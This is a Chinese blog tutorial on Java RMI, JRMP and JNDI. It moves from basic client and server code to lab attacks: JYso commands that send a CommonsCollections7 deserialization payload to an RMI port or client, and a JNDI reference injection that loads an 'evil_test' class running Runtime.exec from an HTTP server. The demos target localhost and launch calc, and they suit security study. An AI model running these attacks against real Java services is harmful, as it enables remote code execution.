浅谈RMI、JRMP、JNDI
RMI
概念:
RMI(Remote Method Invocation) 是 Java 提供的一种远程通信机制,它允许一个 Java 程序调用另一个 远程 Java 虚拟机(JVM) 中的对象方法,就像调用本地对象一样。
为什么要有RMI?
在分布式应用中,不同模块或服务可能部署在不同服务器上,RMI 允许你在一个机器上的 Java 程序远程调用另一台机器上的 Java 方法,实现模块间的通信。
RMI的构成:
RMI主要由Server、Client、Registry(服务端、客户端、注册中心)构成。
其中Client作为使用者,远程调用Server上的对象方法,而Server就是远程方法的提供者。
注册中心类似于手机中的通讯录,可以理解为注册中心是用来注册和查找远程对象的目录服务。
服务端通过registry.rebind("服务名", 远程对象) 将远程对象绑定到注册中心。
//这个是注册中心的端口号
Registry registry = LocateRegistry.createRegistry(1099);
Calc calc = new Calcimpl(); //创建一个计算器的实现类
//使用UnicastRemoteObject.exportObject()将对象转化成一个可以远程调用的对象
//然后port是传输这个对象需要的端口值,这里的0表示使用随机分配的端口
//registry.rebind()方法将计算器对象绑定到RMI服务中
registry.rebind("Calc", UnicastRemoteObject.exportObject(calc, 0)); //将计算器注册到RMI服务中
客户端通过注册中心,在Server端查找所需要的远程对象
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
//通过注册中心,找到远程的远程对象
Calc calc = (Calc) registry.lookup("Calc");
int result = calc.add(1, 2);
System.out.println(result);
如何使用RMI
使用RMI一个很必要的前提就是Client拥有Interface A,而Server拥有Interface A 的实现类 Class A_impl
所以可以理解Client上的每个接口都对应了Server上的一个实现类
Server:
new一个注册中心,并绑定指定的端口 ==》 将创建好的对象添加到注册中心
Client:
通过注册中心提供的方法,获取远程的注册中心 ==》 并通过方法名的方式,在Server上查找服务端方法,并使用
Client代码
public class Main {
public static void main(String[] args) throws RemoteException, NotBoundException {
//去找远程的 注册中心
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
//通过注册中心,找到远程的远程对象
Calc calc = (Calc) registry.lookup("Calc");
int result = calc.add(1, 2);
System.out.println(result);
}
}
Client上的Interface
package org.example.Service;
import java.rmi.Remote;
public interface Calc extends Remote {
public int add(int a , int b) throws java.rmi.RemoteException;
public void print(Object o) throws java.rmi.RemoteException;
}
Server代码
public class RmiService {
public static void main(String[] args) throws RemoteException {
//这个是注册中心的端口号
Registry registry = LocateRegistry.createRegistry(1099);
Calc calc = new Calcimpl(); //创建一个计算器的实现类
//使用UnicastRemoteObject.exportObject()将对象转化成一个可以远程调用的对象
//然后port是传输这个对象需要的端口值,这里的0表示使用随机分配的端口
//registry.rebind()方法将计算器对象绑定到RMI服务中
registry.rebind("Calc", UnicastRemoteObject.exportObject(calc, 0)); //将计算器注册到RMI服务中
}
}
Server上的Interface及其实现(注意:这里的Interface和Client上的是完全一样的)
package org.example.Service;
import java.rmi.Remote;
public interface Calc extends Remote {
public int add(int a , int b) throws java.rmi.RemoteException;
public void print(Object o) throws java.rmi.RemoteException;
}
==========================================================================================================================
package org.example.Service;
import java.rmi.RemoteException;
public class Calcimpl implements Calc{
@Override
public int add(int a, int b) throws RemoteException {
int result = a + b;
System.out.printf("%d + %d = %d", a, b, result);
return result;
}
@Override
public void print(Object o) throws RemoteException {
System.out.printf((String) o);
}
}
那么运行Server之后,再运行Client,就能得到对应的结果了

注意!!!
Client远程调用Server上的方法A,方法A最终是在Server上运行的,然后由Server将运行完成的结果发送给Client,而不是在Client上运行
JRMP(是RMI的通信协议的名字)
概念
JRMP(Java Remote Method Protocol) 是专门为 Java RMI(Remote Method Invocation) 设计的一种专用通信协议。
JRMP 仅用于 RMI 调用,是 RMI 默认使用的底层传输协议。
查看通信过程
还是使用上面的代码,Server端保持运行,然后运行一次客户端,查看JMI使用JRMP协议调用的过程


然后可以发现,这里传输的是经过序列化的数据。这也说明,在Server或Client上是会将其反序列化为Java对象。
那么如果将序列化的数据替换成我们的恶意利用链,那么其中一端在反序列化的过程中,就会触发恶意利用链,并执行恶意Payload
工具使用
https://github.com/qi4L/JYso
查看WiKi描述的使用方式

攻击Server
此处意在模拟攻击RMI开放端口
首先,这里保持服务端一直运行(注意,此处JDK版本为jdk8u112,且加载commons-collections 3.2.1)
高版本JDK引入了对象输入过滤器,防止反序列化加载恶意类,所以不太能成功
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

使用命令
D:\jdk8\bin\java.exe -cp JYso-1.3.5.1.jar com.qi4l.JYso.exploit.JRMPClient 127.0.0.1 1099 -g CommonsCollections7 -p calc
成功执行命令calc

攻击Client
此处意在模拟RMI Client参数可控的条件下,攻击Client
首先使用工具起一个监听
D:\jdk8\bin\java.exe -cp JYso-1.3.5.1.jar com.qi4l.JYso.exploit.JRMPListener 1098 -g CommonsCollections7 -p calc
然后修改Client代码中的Host和Port为攻击工具开放的Host和端口

然后执行Client端代码,成功执行payload

JNDI
什么是JNDI
JNDI(Java Naming and Directory Interface)是 Java 提供的一个 API,用于访问命名和目录服务。本质上,它提供了一个 统一的接口,让 Java 程序可以查找资源,比如对象、数据库连接、远程服务等。
那么JNDI和RMI的关系是什么
JNDI 是一个接口,底层可以对接不同的服务提供者(SPI):
- LDAP(轻量级目录访问协议)
- RMI Registry
- DNS
- File System
- 自定义服务提供者
| 名称 | 作用 | 举例或说明 |
|---|---|---|
| JNDI | Java Naming and Directory Interface | Java 的统一资源查找 API,可以通过名字查找对象(比如数据库、远程服务等) |
| LDAP | Lightweight Directory Access Protocol | 一种目录服务协议,JNDI 可以通过它查询结构化的资源(常用于企业环境) |
| RMI | Remote Method Invocation | Java 自带的远程对象调用机制,可以通过网络调用远程 Java 对象的方法 |
| JRMP | Java Remote Method Protocol | RMI 默认使用的底层协议,是 Java 专有的远程通信协议 |
JNDI
|
-------------------
| | |
LDAP RMI Others (DNS, File, etc.)
|
JRMP
总结:JNDI是Java提供的API,可以对接不同的服务(如LDAP、RMI、DNS),而JRMP又是RMI的底层协议
JNDI加载恶意类
需要准备:Server、Client、恶意类
恶意类evil_test(这里什么名字都可以)
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class evil_test implements ObjectFactory {
//构造方法在类加载的时候就会执行,不需要特意调用,所以要写在构造方法里
public evil_test() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
Server代码
public class RmiService {
public static void main(String[] args) throws RemoteException, NamingException {
//搞一个注册中心,注册中心监听端口为1099
Registry registry = LocateRegistry.createRegistry(1099);
//创建一个引用,其中的第一个参数是远程对象名称,第二个参数是远程对象实现的类名,第三个参数是URL
//Reference告诉客户端,要去哪里加载这个远程对象
Reference reference = new Reference("evil_test", "evil_test", "http://127.0.0.1:8088");
//将引用包装成ReferenceWrapper对象,并添加到注册中心中
//这是因为JNDI RMI 注册中心只能接受实现了 Remote 接口的对象,所以需要用别的方法包装一下
registry.rebind("evil_test",new ReferenceWrapper(reference));
}
}
Client代码
package org.example;
import org.example.Service.Calc;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Main {
public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
//新建一个命名服务的上下文对象,用于资源的查找
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:1099/evil_test");
}
}
编译恶意类
这里最好使用和受害者机器一样的JDK环境和编码对恶意类进行编译,不然容易出问题
并且恶意类中不应出现包名,不然和受害者包名不一致就会出问题
PS G:\Code\Java\RMIServer\src\main\java> D:\Jdk8u112\bin\javac.exe -encoding UTF-8 .\evil_test.java


编译完成之后,在编译好的class文件处开启一个http服务,用于传输恶意类编译的class!
随后运行Client代码(受害者端),受害者连接Server端,并去我们指定的factoryLocation中查找名为evil_test的恶意类,并加载,最终成功执行Payload

具体的实现原理可见https://www.cnblogs.com/LittleHann/p/17768907.html#_label1
但是需要注意的是从 JDK 8u121 开始,Java 默认 不再信任RMI远程加载的 Reference 对象的类定义
但是可以通过JNDI+LDAP的方式,通过LDAP加载远程恶意类
浅谈RMI、JRMP、JNDI的更多相关文章
- 浅谈RMI的特点及作用
RMI:远程方法调用(Remote Method Invocation) 扩展:RPC与RMI的区别 1:方法调用方式不同: RMI中是通过在客户端的Stub对象作为远程接口进行远程方法的调用.每个远 ...
- 微服务浅谈&服务治理的演变过程
这两天对互联网的架构演变进行了简单了解,并对微服务的出现很感兴趣,所以对相关知识进行了简单的整理与总结. 本篇文章先简单介绍了互联网架构的演变,进而介绍了服务化,最后介绍了微服务及最新的服务网格(Se ...
- [转帖]浅谈IOC--说清楚IOC是什么
浅谈IOC--说清楚IOC是什么 Need Study https://www.cnblogs.com/DebugLZQ/archive/2013/06/05/3107957.html 博文目录 1. ...
- 浅谈 Fragment 生命周期
版权声明:本文为博主原创文章,未经博主允许不得转载. 微博:厉圣杰 源码:AndroidDemo/Fragment 文中如有纰漏,欢迎大家留言指出. Fragment 是在 Android 3.0 中 ...
- 浅谈 LayoutInflater
浅谈 LayoutInflater 版权声明:本文为博主原创文章,未经博主允许不得转载. 微博:厉圣杰 源码:AndroidDemo/View 文中如有纰漏,欢迎大家留言指出. 在 Android 的 ...
- 浅谈Java的throw与throws
转载:http://blog.csdn.net/luoweifu/article/details/10721543 我进行了一些加工,不是本人原创但比原博主要更完善~ 浅谈Java异常 以前虽然知道一 ...
- 浅谈SQL注入风险 - 一个Login拿下Server
前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...
- 浅谈WebService的版本兼容性设计
在现在大型的项目或者软件开发中,一般都会有很多种终端, PC端比如Winform.WebForm,移动端,比如各种Native客户端(iOS, Android, WP),Html5等,我们要满足以上所 ...
- 浅谈angular2+ionic2
浅谈angular2+ionic2 前言: 不要用angular的语法去写angular2,有人说二者就像Java和JavaScript的区别. 1. 项目所用:angular2+ionic2 ...
- iOS开发之浅谈MVVM的架构设计与团队协作
今天写这篇博客是想达到抛砖引玉的作用,想与大家交流一下思想,相互学习,博文中有不足之处还望大家批评指正.本篇博客的内容沿袭以往博客的风格,也是以干货为主,偶尔扯扯咸蛋(哈哈~不好好工作又开始发表博客啦 ...
随机推荐
- Pycharm pull 报错“Pull Failed: refusing to merge unrelated histories”
分析: 在github已将建立仓库 pycharm clone到本地 pycharm pull 在第3步报错 "Pull Failed: refusing to merge unrelate ...
- 一款HTML转Markdown格式的工具
Markdown格式不仅对写博客的人非常友好和方便,对AI也是如此. 目前AI大语言模型的输出基本都是Markdown格式,这就意味着AI是能充分理解Markdown格式的,这一点非常重要. Mark ...
- 昨晚接收的俄罗斯Meteor-M2气象卫星云图,接收质量还可以!
接收设备: 天馈:自制四臂螺旋天线 硬件:SDRsharp 跟踪:Orbitron.SDRSharpDriverDDE 频率:137.1MHZ 解码:SDRSharp.QPSK.M2_LRPT_Dec ...
- verilog实现32位有符号流水乘法器
verilog实现32位有符号流水乘法器 1.4bit乘法流程 1.无符号X无符号二进制乘法器 以下为4bit乘法器流程(2X6) 0 0 0 0 0 0 1 0 (2) X 0 0 0 0 0 1 ...
- swich语句
1.switch语句格式 括号内的是待匹配内容,然后case后的是被匹配内容,如果括号内的内容与case后的内容一致,则会打印语句体 . 2.实操(后面的省略了) 3.注意事项 1.case后面的值不 ...
- 【JDBC】总结
JDBC核心技术 第1章:JDBC概述 1.1 数据的持久化 持久化(persistence):把数据保存到可掉电式存储设备中以供之后使用.大多数情况下,特别是企业级应用,数据持久化意味着将内存中的数 ...
- object中的usemap是什么-HTML
<object> 标签中的 usemap 属性用于将嵌入的对象(如图像)与一个 图像映射(image map) 关联起来.图像映射允许你在图像的特定区域定义可点击的链接,用户点击这些区域时 ...
- PHP传递参数(跨文件)的8种常见方法
以下是 PHP 中跨文件传递参数的 8 种常见方法,按场景和安全性分类整理,附详细说明和示例代码: 一.超全局变量(适合请求间数据共享) 1. $_GET / $_POST 用途:通过 URL 或表单 ...
- CPU 和GPUskinning对比
CPU: 比如广泛的设备兼容性,比如上面说的精确逻辑处理,比如可以根据距离对Skinning进行LOD(如近距离角色每秒30帧Skinning,远距离角色每秒15帧Skinning),比如多Pass渲 ...
- rabbitmq的消息的有顺序性
一.rabbitmq:拆分多个queue,每个queue一个consumer,就是多一些queue而已,确实是麻烦点:或者就一个queue但是对应一个consumer,然后这个consumer内部用内 ...